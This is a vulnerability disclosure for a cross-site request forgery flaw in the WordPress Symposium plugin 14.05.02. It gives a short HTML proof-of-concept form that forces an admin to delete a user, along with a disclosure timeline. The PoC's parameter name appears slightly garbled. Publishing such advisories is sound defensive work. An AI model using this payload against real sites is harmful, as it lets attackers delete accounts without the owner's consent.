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WordPress Symposium 14.05.02 Cross Site Request Forgery

WordPress Symposium 14.05.02 Cross Site Request Forgery
Posted Dec 17, 2015
Authored by Madhu Akula

WordPress Symposium plugin version 14.05.02 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
MD5 | 9d6dca93f36cb2b0a8d39f20d7f83d2e

WordPress Symposium 14.05.02 Cross Site Request Forgery

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Plugin Name : WP Symposium A8-Cross-Site_Request_Forgery_(CSRF)

Effected Version : 14.05.02 (and most probably lower version's if any)

Vulnerability : A8-Cross-Site Request Forgery (CSRF)

Identified by : Madhu Akula



Technical Details

Minimum Level of Access Required : Unauthenticated

PoC - (Proof of Concept) :

<html>
<body>
<form action="http://localhost/wp-admin/admin.php?page=symposiym_manage" method="POST">
<input type="hidden" name="delete_wps&#95";user_id" value="7" />
<input type="submit" value="Submit Request" />
</form>
</body>
</html>


Video Demonstration:

https://www.youtube.com/watch?v=prPj0YP1LOw

Vulnerable Parameter : delete_wps_user_id

Impact : By using this vulnerability attacker can delete any word press user

Fixed in : No change



Disclosure Timeline

Vendor Contacted : 2014-08-01

Plugin Status : No Change on 2014-08-02

Public Disclosure : October 3, 2015

CVE Number : Not assigned yet

Plugin Description :

WP Symposium turns a WordPress website into a Social Network! It is a WordPress plugin that provides a forum, activity (similar to Facebook wall), member directory, private mail, notification panel, chat windows, profile page, social widgets, activity alerts, RSS activity feeds, Groups, Events, Gallery, Facebook Connect and Mobile support! You simply choose which you want to activate! Certain features are optional to members to protect their privacy.

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